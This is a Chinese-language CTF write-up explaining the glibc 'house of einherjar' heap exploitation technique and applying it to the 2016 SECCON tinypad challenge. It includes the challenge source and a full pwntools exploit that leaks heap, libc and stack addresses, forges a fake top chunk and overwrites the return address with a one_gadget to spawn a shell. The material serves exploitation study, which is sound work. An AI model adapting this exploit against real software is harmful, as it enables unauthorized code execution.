house of einherjar
介绍
house of einherjar 是一种堆利用技术,由 Hiroki Matsukuma 提出,该堆利用技术可以强制使得 malloc 返回一个几乎任意地址的 chunk 。其主要在于滥用 free 中的后向合并操作(合并低地址的chunk),从而使得尽可能避免碎片化。
此外,需要注意的是,在一些特殊大小的堆块中,off by one 不仅可以修改下一个堆块的 prev_size,还可以修改下一个堆块的 PREV_INUSE 比特位。
在《CTF竞赛权威指南》中将该技术归类到了off-by-one中,但是在CTF wiki并没有归类到一起,我比较赞同wiki的分类。因为在这里只是利用了share chunk原理,将next chunk的prev_size覆盖,程序中有无溢出并无关系,相反,如果存在null byte溢出,更改了next chunk的size大小,甚至还会出现麻烦,所以如果你和我一样是看这本书学习的话,不要被书上的分类误导。
原理
主要利用两个点,一个是free的unlink,另外一个是chunk复用。
后向合并操作
free 函数中的后向合并核心操作如下:
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size(p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
unlink(av, p, bck, fwd);
}
在free中规定的合并顺序是先向后(也就是向低地址,上一个chunk的位置),再向前(next chunk)。
chunk复用
当前一个chunk申请的数据空间申请的大小对16取余后,如果多出来的大小小于等于8字节,那么这个多出来的大小就放入下一个chunk的prev_size中存储。在上一篇的off-by-one也讲到了这点,不再赘述。
具体利用
如下图所示,存在prev和p两个chunk,其中红框内的(prev_size)属于共享字段,所以我们填充prev的数据时可以覆盖掉p的prev_size字段,而向后合并时,寻找上一个chunk便需要通过本chunk的地址减去prev_size,也就是新chunk的地址取决于chunk_at_offset(p, -((long) prevsize))
。
此外,也要考虑一下unlink的检查机制,通过prev_size寻找的fake chunk需要设置相同大小的size,否则就会报错**“corrupted size vs. prev_size”**。
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
我们的目的是造成overlap,以获取某块地址的控制权,那么这里fake chunk地址的选取就很关键了,这里介绍一种题目常用的方式,在stack中构造fake chunk,如下图所示。
可以看到我们在stack上构造了一个大小为size为0xffff800000604550的fake chunk,chunk b的prev_size也被覆盖了同样的大小,该大小是通过chunk b_addr-prev_size =fake chunk_addr
计算得来,在该例中,0x602020-0x7fffffffdad0 = 0xffff800000604550。
在该过程中,chunk b向后合并,与fake chunk合并后,再向下合并,与top chunk相邻近,所以,fake chunk就变成了新的top chunk,在堆中不存在其他空闲chunk时,只要通过brk方式产生新heap,那么肯定是从fake chunk的地方分配,这意味着我们获得了从fake chunk地址+0x10开始之后一定空间的控制权(不大于brk方式的最大值)。
2016 Seccon tinypad
基本功能分析
首先,程序有一个核心的读取函数,即读取指定长度字节的字符串,然而,当读取的长度恰好为指定的长度时,会出现off by one 的漏洞。
unsigned __int64 __fastcall read_until(char *a1, unsigned __int64 len, int terminate)
{
unsigned __int64 i; // [rsp+28h] [rbp-18h]
__int64 n; // [rsp+30h] [rbp-10h]
for ( i = 0LL; i < len; ++i )
{
n = read_n(0, (__int64)&a1[i], 1uLL);
if ( n < 0 )
return -1LL;
if ( !n || a1[i] == terminate )
break;
}
a1[i] = 0; //bull byte off-by-one
if ( i == len && a1[len - 1] != '\n' )
dummyinput(terminate);
return i;
}
通过分析程序,我们不难看出,这个程序的基本功能是操作一个 tinypad,主要有以下操作
- 开头,程序每次开头依次判断每个 memo 的指针来判断是否为空,如果不为空,进而利用 strlen 求得其相应的长度,将 memo 的内容输出。从这里,我们也可以看出最多有 4 个 memo。
- 添加 memo,遍历存储 memo 的变量tinypad,根据 tinypad 的存储的大小判断 memo 是否在使用,然后还有的话,分配一个 memo。从这里我们可以知道,程序只是从 tinypad 起始偏移16*16=256 处才开始使用,每个 memo 存储两个字段,一个是该 memo 的大小,另一个是该 memo 对应的指针。所以我们可以创建一个新的结构体,并修改 ida 识别的 tinypad,使之更加可读(但是其实 ida 没有办法帮忙智能识别。)。同时,由于该添加功能依赖于读取函数,所以存在 off by one 的漏洞。此外,我们可以看出,用户申请的 chunk 的大小最大为 256 字节,和 tinypad 前面的未使用的 256 字节恰好一致。
- 删除,根据存储 memo 的大小判断 memo 是否在被使用,同时将相应 memo 大小设置为0,但是并没有将指针设置为 NULL,有可能会导致 Use After Free。即在程序开头时,就有可能输出一些相关的内容,这其实就是我们泄漏一些基地址的基础。
- 编辑。在编辑时,程序首先根据之前存储的 memo 的内容将其拷贝到 tinypad 的前 256 个字节中(buffer),但正如我们之前所说的,当 memo 存储了 256 个字节时,就会存在 off by one漏洞。与此同时,程序利用 strlen 判断复制之后的 tinypad 的内容长度,并将其输出。之后程序继续利用 strlen 求得 memo 的长度,并读取指定长度内容到 tinypad 中,根据读取函数,这里必然出现了 \x00。最后程序将读取到 tinypad 前 256 字节的内容放到对应 memo 中。
主要的数据结构有:
struct {
char buffer[0x100]; // make a fakechunk.
struct {
size_t size;
char *memo;
} page[4];
} tinypad;
代码
这里只是附上源代码方便理解,按常理来说应该只能对可执行程序进行ida反汇编,详细的文件可以在CTF wiki的house of einherjar查看下载。
#include <ctype.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "pwnio.h"
#define PADSIZE 0x4
const char title[] = " ============================================================================\n"
"// _|_|_|_|_| _|_|_| _| _| _| _| _|_|_| _|_| _|_|_| \\\\\n"
"|| _| _| _|_| _| _| _| _| _| _| _| _| _| ||\n"
"|| _| _| _| _| _| _| _|_|_| _|_|_|_| _| _| ||\n"
"|| _| _| _| _|_| _| _| _| _| _| _| ||\n"
"\\\\ _| _|_|_| _| _| _| _| _| _| _|_|_| //\n"
" ============================================================================\n";
const char separator[] = "+------------------------------------------------------------------------------+\n";
const char menu[] = "+- MENU -----------------------------------------------------------------------+\n"
"| [A] Add memo |\n"
"| [D] Delete memo |\n"
"| [E] Edit memo |\n"
"| [Q] Quit |\n"
"+------------------------------------------------------------------------------+\n";
const char show_index[] = " # INDEX: ";
const char show_content[] = " # CONTENT: ";
const char confirm_content[] = "CONTENT: ";
const char prompt_cmd[] = "(CMD)>>> ";
const char prompt_size[] = "(SIZE)>>> ";
const char prompt_content[] = "(CONTENT)>>> ";
const char prompt_index[] = "(INDEX)>>> ";
const char prompt_confirm[] = "(Y/n)>>> ";
const char errmsg_no_space_left[] = "No space is left.";
const char errmsg_no_such_command[] = "No such a command";
const char errmsg_invalid_index[] = "Invalid index";
const char errmsg_not_used[] = "Not used";
const char syserr_no_memory_is_available[] = "[!] No memory is available.";
const char syserr_init_failed[] = "[!] Init failed.";
const char msg_confirm[] = "Is it OK?";
const char msg_timeout[] = "Timeout.";
const size_t memo_maxlen = 0x100;
struct {
char buffer[0x100]; // make a fakechunk.
struct {
size_t size;
char *memo;
} page[4];
} tinypad;
static inline void dummyinput(int c)
{
if(!c) return;
char dummy = '\0';
while(dummy != c)
read_n(&dummy, 1);
}
int getcmd()
{
int cmd = '\0';
write_n(menu, strlen(menu));
write_n(prompt_cmd, strlen(prompt_cmd));
read_until((char *)&cmd, 1, '\n');
write_n("\n", 1);
return toupper(cmd);
}
int main()
{
int cmd = '\0';
write_n("\n", 1);
write_n(title, strlen(title));
write_n("\n", 1);
do{
for(int i = 0; i < PADSIZE; i++) {
char count = '1'+i;
writeln(separator, strlen(separator));
write_n(show_index, strlen(show_index)); writeln(&count, 1);
write_n(show_content, strlen(show_content));
if(tinypad.page[i].memo) {
writeln(tinypad.page[i].memo, strlen(tinypad.page[i].memo));
}
writeln("\n", 1);
}
int idx = 0;
switch(cmd = getcmd()) {
case 'A': {
while(idx < PADSIZE && tinypad.page[idx].size != 0) idx++;
if(idx == PADSIZE) {
writeln(errmsg_no_space_left, strlen(errmsg_no_space_left));
break;
}
int size = -1;
write_n(prompt_size, strlen(prompt_size));
size = read_int();
size = (size < 0x1)? 0x1:
(size < memo_maxlen)? size: memo_maxlen;
tinypad.page[idx].size = size;
if((tinypad.page[idx].memo = malloc(size)) == NULL) {
writerrln("[!] No memory is available.", strlen("[!] No memory is available."));
_exit(-1);
}
write_n(prompt_content, strlen(prompt_content));
read_until(tinypad.page[idx].memo, size, '\n');
writeln("\nAdded.", strlen("\nAdded."));
} break;
case 'D': {
write_n(prompt_index, strlen(prompt_index));
idx = read_int();
if(!(0 < idx && idx <= PADSIZE)) {
writeln(errmsg_invalid_index, strlen(errmsg_invalid_index));
break;
}
if(tinypad.page[idx-1].size == 0) {
writeln(errmsg_not_used, strlen(errmsg_not_used));
break;
}
// XXX: UAF
free(tinypad.page[idx-1].memo);
tinypad.page[idx-1].size = 0;
writeln("\nDeleted.", strlen("\nDeleted."));
} break;
case 'E': {
write_n(prompt_index, strlen(prompt_index));
idx = read_int();
if(!(0 < idx && idx <= PADSIZE)) {
writeln(errmsg_invalid_index, strlen(errmsg_invalid_index));
break;
}
if(tinypad.page[idx-1].size == 0) {
writeln(errmsg_not_used, strlen(errmsg_not_used));
break;
}
int confirmation = '0';
strcpy(tinypad.buffer, tinypad.page[idx-1].memo);
while(toupper(confirmation) != 'Y') {
write_n(confirm_content, strlen(confirm_content));
writeln(tinypad.buffer, strlen(tinypad.buffer));
write_n(prompt_content, strlen(prompt_content));
// XXX: Not NUL Terminated.
read_until(tinypad.buffer, strlen(tinypad.page[idx-1].memo), '\n');
writeln(msg_confirm, strlen(msg_confirm));
write_n(prompt_confirm, strlen(prompt_confirm));
read_until((char *)&confirmation, 1, '\n');
}
strcpy(tinypad.page[idx-1].memo, tinypad.buffer);
writeln("\nEdited.", strlen("\nEdited."));
} break;
default:
writeln(errmsg_no_such_command, strlen(errmsg_no_such_command));
case 'Q':
break;
}
} while(cmd != 'Q');
return 0;
}
漏洞利用
首先程序存在两个漏洞:UAF和house of einherjar。
程序增删改通过info->size 判断是否存在,而查通过info->data,且Delete只删除size,不删除data,所以被释放的memo内容仍会被打印,导致信息泄露。
主要思路如下:
- 信息泄露:通过UAF泄露堆地址和libc的基地址,比如这里free两个chunk,A和B,A的fd会存放B的地址,即堆地址,B的fd会存放small bin的地址,即为libc地址。
- 利用house of einherjar在tinypad的buffer伪造chunk,以获取buffer后四个memo数组的指针和内容。
- 这时就可以考虑如何处罚one_gadget,这题开启了full relro保护,所以无法修改GOT表;那么就考虑malloc_hook,这题的edit修改会首先通过strcpy复制原内容到buffer,然后strlen判断原长度以进行再次编辑,malloc_hook初始时为0,行不通。这里考虑修改程序的main函数返回地址为OGG,直接就需要一个stack地址了,而_environ全局变量保存了一个指向栈的地址,而environ会在libc中导出,第一步中已经知道了libc基地址,所以就之后就顺理成章了。
具体过程
- 泄露信息
def leak_heap_libc():
global heap_base, libc_base
add(0xe0, "A" * 0x10) #A
add(0xf0, "A" * 0xf0) #B
add(0x100, "A" * 0x10) #C
add(0x100, "A" * 0x10) #D
delete(3)
delete(1)
io.recvuntil("INDEX: 1\n # CONTENT: ")
heap_base = u64(io.recvn(4).ljust(8, b"\x00")) - (0x100 + 0xf0)
log.info("heap base: 0x%x" % heap_base)
io.recvuntil("INDEX: 3\n # CONTENT: ")
libc_base = u64(io.recvn(6).ljust(8, b"\x00")) - 0x3c4b78
log.info("libc base: 0x%x" % libc_base)
如下图所示,此时freeA和C,A中的fd为0xe581f0——chunk C的地址,C的fd为0x7fef7a849b78,为libc
- house of einherjar
def house_of_einherjar():
delete(4) # move top chunk
fake_chunk1 = b"A" * 0xe0
fake_chunk1 += p64(heap_base + 0xf0 -tinypad) # prev_size
add(0xe8, fake_chunk1) # null byte overflow
fake_chunk2 = p64(0x100) # prev_size
fake_chunk2 += p64(heap_base + 0xf0 - tinypad) # size
fake_chunk2 += p64(0x602040) * 4 # fd, bk
edit(2, fake_chunk2)
delete(2) # consolidate
上述操作将B的prev_size覆盖为(heap_base + 0xf0 -tinypad),之后再将其free后,变进行unlink,先和fake chunk,后和top chunk。
其中此时(heap_base + 0xf0 -tinypad) = 0x13b7fc1,可以看到在tinypad构造的fake chunk中的size也为该大小。
此时fake chunk成为了new top chunk。
- 泄露stack
def leak_stack():
global stack_addr
environ_addr = libc_base + libc.symbols["__environ"]
payload = p64(0xe8) + p64(environ_addr) # tinypad1
payload += p64(0xe8) + p64(tinypad + 0x108) # tinypad2
add(0xe0, "A" * 0xe0)
add(0xe0, payload)
io.recvuntil("INDEX: 1\n # CONTENT: ")
stack_addr = u64(io.recvn(6).ljust(8, b"\x00"))
log.info("stack address: 0x%x" % stack_addr)
这里申请两个chunk,第二个chunk覆盖了page[4]数组的空间,放入伪造的tinypad1和tinypad2,分别放如environ和tinypad+0x108的地址,(tinypad+0x108=0x602148)指向tinypad1的memo指针,也就是这里存放environ地址的地方,回想一下tinypad的struct。
- 修改返回地址
def pwn():
one_gadget = libc_base + 0x45216
edit(2, p64(stack_addr - 0xf0)) # return address
edit(1, p64(one_gadget))
io.sendlineafter("(CMD)>>> ", 'Q')
io.interactive()
edit(2, p64(stack_addr - 0xf0))
,程序会找到指向memo内容的指针,也就是这里伪造的environ地址,并且修改内容为返回地址。
edit(1, p64(one_gadget))
,此时,page[0],也就是我们伪造的tinypad1,原本存放的environ地址已经被上一句命令改为返回地址,所以该命令会取出返回地址,放入我们的one_gadget,之后退出即可触发。
exp
from pwn import *
io = process('./tinypad')
libc = ELF('libc.so.6')
tinypad = 0x602040
def add(size, content):
io.sendlineafter("(CMD)>>> ", 'A')
io.sendlineafter("(SIZE)>>> ", str(size))
io.sendlineafter("(CONTENT)>>> ", content)
def delete(idx):
io.sendlineafter("(CMD)>>> ", 'D')
io.sendlineafter("(INDEX)>>> ", str(idx))
def edit(idx, content):
io.sendlineafter("(CMD)>>> ", 'E')
io.sendlineafter("(INDEX)>>> ", str(idx))
io.sendlineafter("(CONTENT)>>> ", content)
io.sendlineafter("(Y/n)>>> ", 'Y')
def leak_heap_libc():
global heap_base, libc_base
add(0xe0, "A" * 0x10)
add(0xf0, "A" * 0xf0)
add(0x100, "A" * 0x10)
add(0x100, "A" * 0x10)
delete(3)
delete(1)
io.recvuntil("INDEX: 1\n # CONTENT: ")
heap_base = u64(io.recvn(4).ljust(8, b"\x00")) - (0x100 + 0xf0)
log.info("heap base: 0x%x" % heap_base)
io.recvuntil("INDEX: 3\n # CONTENT: ")
libc_base = u64(io.recvn(6).ljust(8, b"\x00")) - 0x3c4b78
log.info("libc base: 0x%x" % libc_base)
def house_of_einherjar():
delete(4) # move top chunk
fake_chunk1 = b"A" * 0xe0
fake_chunk1 += p64(heap_base + 0xf0 -tinypad) # prev_size
add(0xe8, fake_chunk1) # null byte overflow
fake_chunk2 = p64(0x100) # prev_size
fake_chunk2 += p64(heap_base + 0xf0 - tinypad) # size
fake_chunk2 += p64(0x602040) * 4 # fd, bk
edit(2, fake_chunk2)
delete(2) # consolidate
def leak_stack():
global stack_addr
environ_addr = libc_base + libc.symbols["__environ"]
payload = p64(0xe8) + p64(environ_addr) # tinypad1
payload += p64(0xe8) + p64(tinypad + 0x108) # tinypad2
add(0xe0, "A" * 0xe0)
add(0xe0, payload)
io.recvuntil("INDEX: 1\n # CONTENT: ")
stack_addr = u64(io.recvn(6).ljust(8, b"\x00"))
log.info("stack address: 0x%x" % stack_addr)
def pwn():
one_gadget = libc_base + 0x45216
edit(2, p64(stack_addr - 0xf0)) # return address
edit(1, p64(one_gadget))
io.sendlineafter("(CMD)>>> ", 'Q')
io.interactive()
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
"""
leak_heap_libc()
house_of_einherjar()
leak_stack()
pwn()
https://blog.youkuaiyun.com/csdn546229768/article/details/122588006 (借鉴博客)
https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar/#_5 (wiki)
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/house-of-einherjar/2016_seccon_tinypad (题目链接)